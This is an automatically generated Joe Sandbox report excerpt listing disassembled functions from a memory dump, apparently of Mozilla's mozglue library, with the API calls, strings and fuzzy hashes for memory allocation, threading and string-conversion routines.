Opcode Fuzzy Hash: 101e447fefcafa44e3a86cc91004d09219505d5c2354e6f5eca2c1616ae0b6dd
Instruction Fuzzy Hash: F2E09AB1604343ABDB219BA2D98A7117AF8E75721CF108835A915D2F10DB749092CF90

Function 6C7F7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C7F7592), ref: 6C7F7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C7F7627
FreeLibrary.KERNEL32(?,6C7F7592), ref: 6C7F763C

Strings

ntdll.dll, xrefs: 6C7F7603
NtUnmapViewOfSection, xrefs: 6C7F7621

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 41b484e7e23f03c6f99e599a7868c2a56339125611bcb4135f8136fda495c2c9
Instruction ID: 858ca1499b1c217db6744c943d3a4d74dc1c6b8e27905efb82da5c65f3661c1c
Opcode Fuzzy Hash: 41b484e7e23f03c6f99e599a7868c2a56339125611bcb4135f8136fda495c2c9
Instruction Fuzzy Hash: F5E09AB06047839BDF215FE6994A7157AF8E76735DF008935E909D2F10D7709051CB94

Function 6C7FBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C7FBE49), ref: 6C7FBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C7FBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C7FBE49), ref: 6C7FBF38
RtlReAllocateHeap.NTDLL ref: 6C7FBF83
RtlFreeHeap.NTDLL(6C7FBE49,00000000), ref: 6C7FBFA6

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 6abb8d38cdfd5d9679ba322c35cf3bc57a227df297a7b4c65f2eed7e5b100f28
Instruction ID: a114ff74839e69c59a798c7fc060f82a99634305db92ebb26c2844fa96f51872
Opcode Fuzzy Hash: 6abb8d38cdfd5d9679ba322c35cf3bc57a227df297a7b4c65f2eed7e5b100f28
Instruction Fuzzy Hash: 71517071A002058FE714CF69CEC0BAAB7A6FF84314F298639D525A7B55D730F9078B91

Function 6C7E8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?,6C80D734), ref: 6C7E8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?,6C80D734), ref: 6C7E8EBF
free.MOZGLUE(?,?,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?), ref: 6C7E8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?,6C80D734), ref: 6C7E8F46
free.MOZGLUE(?,?,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?), ref: 6C7E8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7DB58D,?,?,?,?,?,?,?,6C80D734,?,?,?), ref: 6C7E8F8F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 282f7f30398015b8b2cf74a96ff423f471592cc2b289753a25643e737bf09700
Instruction ID: bc75c9114ef722e644473d0f0ff3fa86a188b83859840370eaeae26d5faf38a7
Opcode Fuzzy Hash: 282f7f30398015b8b2cf74a96ff423f471592cc2b289753a25643e737bf09700
Instruction Fuzzy Hash: B151B4B2A012168FEB15CF68D98076E73B6FF48318F25057AD916AB741E731F904CB91

Function 6C7E27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E289A
free.MOZGLUE(?,?,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E2910
free.MOZGLUE(00000001,?,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C7E2620,?,?,?,6C7D60AA,6C7D5FCB,6C7D79A3), ref: 6C7E294E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b332d20fc3609d8975c57f223f29f6d06ecc3e67f65b359c70bbd8bc1f7d9bc2
Instruction ID: b68df6335f87a5b68caa92ddb505b2c83c4773b3861d3204d5636a9069d47786
Opcode Fuzzy Hash: b332d20fc3609d8975c57f223f29f6d06ecc3e67f65b359c70bbd8bc1f7d9bc2
Instruction Fuzzy Hash: B74160B2A002078FEB14CF68D98876A77F6AB49308F250939D556EBB41E771E904CB91

Function 6C79CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E784), ref: 6C79CFF6
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C79D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C79D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C79D139

Strings

MOZ_CRASH(), xrefs: 6C79D187

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 52b62c10bdbb48fdb836574bfd46c65474611d08f072e3151f0ce8d9405a12ef
Instruction ID: f01bafbc65dee2770720227884a919b7cdec5d5c4cba86f6bb7e7a952fb3e459
Opcode Fuzzy Hash: 52b62c10bdbb48fdb836574bfd46c65474611d08f072e3151f0ce8d9405a12ef
Instruction Fuzzy Hash: 5941D272B402174FEB248E6C9E9A36A76F0EB5A358F150539E918E7F84D7A15C00CBC5

Function 6C794DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C794E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C794E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C794EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C794F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C794F1E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: e34ef38202cd1ef50c181287799826a8c06d5eec44af8abbc3682408ad5c7a23
Instruction ID: 725185e0895a89fad7fe63ba5dd975e0bf723a96835e82f12de0d93e7f73fdde
Opcode Fuzzy Hash: e34ef38202cd1ef50c181287799826a8c06d5eec44af8abbc3682408ad5c7a23
Instruction Fuzzy Hash: 7A41F0716087069FC705CF28D88095BB7E9FF89344F148A2DF56697B41DB30E918DB92

Function 6C7FA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81F770), ref: 6C7FA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FA87B

Part of subcall function 6C7FA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C7FA88F,00000000), ref: 6C7FA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C7FA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FA90C
LeaveCriticalSection.KERNEL32(6C81F770), ref: 6C7FA97E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 1b3304222bfc90e9d478fb9509e149b05bc8dd543d0f44db76e21118c3a94f8f
Instruction ID: 422c52b4c9e83ed4e0988b2d05131847a21cfac2089cb2e0a06d2c740451dac2
Opcode Fuzzy Hash: 1b3304222bfc90e9d478fb9509e149b05bc8dd543d0f44db76e21118c3a94f8f
Instruction Fuzzy Hash: 6741C6B0E002058FDB10DFA4D989BDDBBB0FF04324F108A39E825AB791D7719946CB91

Function 6C7A1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A15E7
free.MOZGLUE(?,?,?,?,?,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C7A152B,?,?,?,?,6C7A1248,?), ref: 6C7A1637

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 3c62d4d0b93764e87447ac28c1083f0093ae4ffa4e80023e69f7a985b324ef16
Instruction ID: 581f774e417116b04c7f2a99a66e14249521c623df35fb8547d2aa150b7407cf
Opcode Fuzzy Hash: 3c62d4d0b93764e87447ac28c1083f0093ae4ffa4e80023e69f7a985b324ef16
Instruction Fuzzy Hash: 87310872A00114CBD7188EB8DA5456E73E9BF853647290B2DE423DBBE5EB30D9068791

Function 6C7FAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAD9D

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAE01
GetLastError.KERNEL32(?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAE3D

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4e29a07e98e87aa38dd67af845d3c7aeb0c895fddd1191c95a13ece969e6365b
Instruction ID: d9b87f8ff48c20ee9b934e019e2f74a39f9044186a24d9ec810c7ccdd527ce57
Opcode Fuzzy Hash: 4e29a07e98e87aa38dd67af845d3c7aeb0c895fddd1191c95a13ece969e6365b
Instruction Fuzzy Hash: F63141B1A003159FDB10DF798D85AABB7F8EF48624F158839E85AD7701E734A805CBA1

Function 6C7F5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C80DCA0,?,?,?,6C7CE8B5,00000000), ref: 6C7F5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C7CE8B5,00000000), ref: 6C7F5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C7CE8B5,00000000), ref: 6C7F5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C7CE8B5,00000000), ref: 6C7F5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C7CE8B5,00000000), ref: 6C7F5FD6

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 3f75a24ec26d7f4b5640f991ecc03f1f08902c057033f1c38a9e2bdd28b91dc7
Instruction ID: 64b36e8d55b91e1dbbacab81335677d72e996323806cab4e781541fdc3f814c2
Opcode Fuzzy Hash: 3f75a24ec26d7f4b5640f991ecc03f1f08902c057033f1c38a9e2bdd28b91dc7
Instruction Fuzzy Hash: D03100343106018FE764CF29D9D8E26BBF5FF89319B6485A8E56687B95C731EC42CB80

Function 6C79B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C79B532
moz_xmalloc.MOZGLUE(?), ref: 6C79B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C79B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C79B57E
free.MOZGLUE(00000000), ref: 6C79B58F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 2837f1cd43f4aac1408bc26a7fd6ceb2aaf014347677f1e9e3a60fa16f984723
Instruction ID: 6877c83039964add4cbe95d054846184e977e50e907f87965bab5c698eb1c97b
Opcode Fuzzy Hash: 2837f1cd43f4aac1408bc26a7fd6ceb2aaf014347677f1e9e3a60fa16f984723
Instruction Fuzzy Hash: 44210771A002059BDB108F68DD44BBABBF9FF45318F284139E818DB341E776E911C7A1

Function 6C79B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C79B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C79B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C79B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C79B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C79B849

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: d3307c0fa99e3c0d26240cee68a53e89c73a1969a7f92812fc5be9bd4b4293c2
Instruction ID: 3550d375d371ce39f2acf2bc342aecb012f8d24a443c4d1e8bbb1f8d70a51128
Opcode Fuzzy Hash: d3307c0fa99e3c0d26240cee68a53e89c73a1969a7f92812fc5be9bd4b4293c2
Instruction Fuzzy Hash: 28214BB0E0020A9FDF14DFA9D9859BEBBF4EF49318F148129E805A7701E731A944CBE1

Function 6C7F6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C7F6E78

Part of subcall function 6C7F6A10: InitializeCriticalSection.KERNEL32(6C81F618), ref: 6C7F6A68
Part of subcall function 6C7F6A10: GetCurrentProcess.KERNEL32 ref: 6C7F6A7D
Part of subcall function 6C7F6A10: GetCurrentProcess.KERNEL32 ref: 6C7F6AA1
Part of subcall function 6C7F6A10: EnterCriticalSection.KERNEL32(6C81F618), ref: 6C7F6AAE
Part of subcall function 6C7F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C7F6AE1
Part of subcall function 6C7F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C7F6B15
Part of subcall function 6C7F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C7F6B65
Part of subcall function 6C7F6A10: LeaveCriticalSection.KERNEL32(6C81F618,?,?), ref: 6C7F6B83

MozFormatCodeAddress.MOZGLUE ref: 6C7F6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C7F6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C7F6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C7F6EFF

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 8f062ca6d21c09c7fb23461b44a662686aa666a3a68bfb81762ea2e03d788f0e
Instruction ID: 0bd62f9d8a1d45f6178c796ffe43abcb075b5504030fecc3729d787aae279ce4
Opcode Fuzzy Hash: 8f062ca6d21c09c7fb23461b44a662686aa666a3a68bfb81762ea2e03d788f0e
Instruction Fuzzy Hash: B421C4B1A0421A8FDB10CF29D9C9AAA77F9FF84308F044039E81997341DB309A59CF92

Function 6C7D0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C793DEF), ref: 6C7D0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C793DEF), ref: 6C7D0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C793DEF), ref: 6C7D0DAF

Strings

<jemalloc>, xrefs: 6C7D0D92, 6C7D0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C7D0D97, 6C7D0DBE

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0542a0dfbff5b92af1c60869c7f675ce75a2ae994adb66b47334d831c90d1bd3
Instruction ID: d086a23084259250e9029a3c9a25348018d086919a2dc6f08ae5841dd7d6e792
Opcode Fuzzy Hash: 0542a0dfbff5b92af1c60869c7f675ce75a2ae994adb66b47334d831c90d1bd3
Instruction Fuzzy Hash: AAF0E97139429627E63416661F0BF6A269D67C2B28F719037F605DEEC0DA50F804C6A4

Function 6C7F5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C7F586C
CloseHandle.KERNEL32 ref: 6C7F5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C7F5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7F58C9
free.MOZGLUE(00000000), ref: 6C7F58D3

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 28e147eefbbdaa24288719b5d3ad1fb6b2799dcc64aefd4e0b46592041295dde
Instruction ID: 875f7a00131a9cb6f79056402e111c2f1e8a6dd672167942cd32042ea1ee0836
Opcode Fuzzy Hash: 28e147eefbbdaa24288719b5d3ad1fb6b2799dcc64aefd4e0b46592041295dde
Instruction Fuzzy Hash: 3D014F717042079BDB20DF1AE94AA867BF9EBA332D7244235E429D2A11D7319915CFC1

Function 6C7E7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C7E75C4,?), ref: 6C7E762B

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C7E74D7,6C7F15FC,?,?,?), ref: 6C7E7644
GetCurrentThreadId.KERNEL32 ref: 6C7E765A
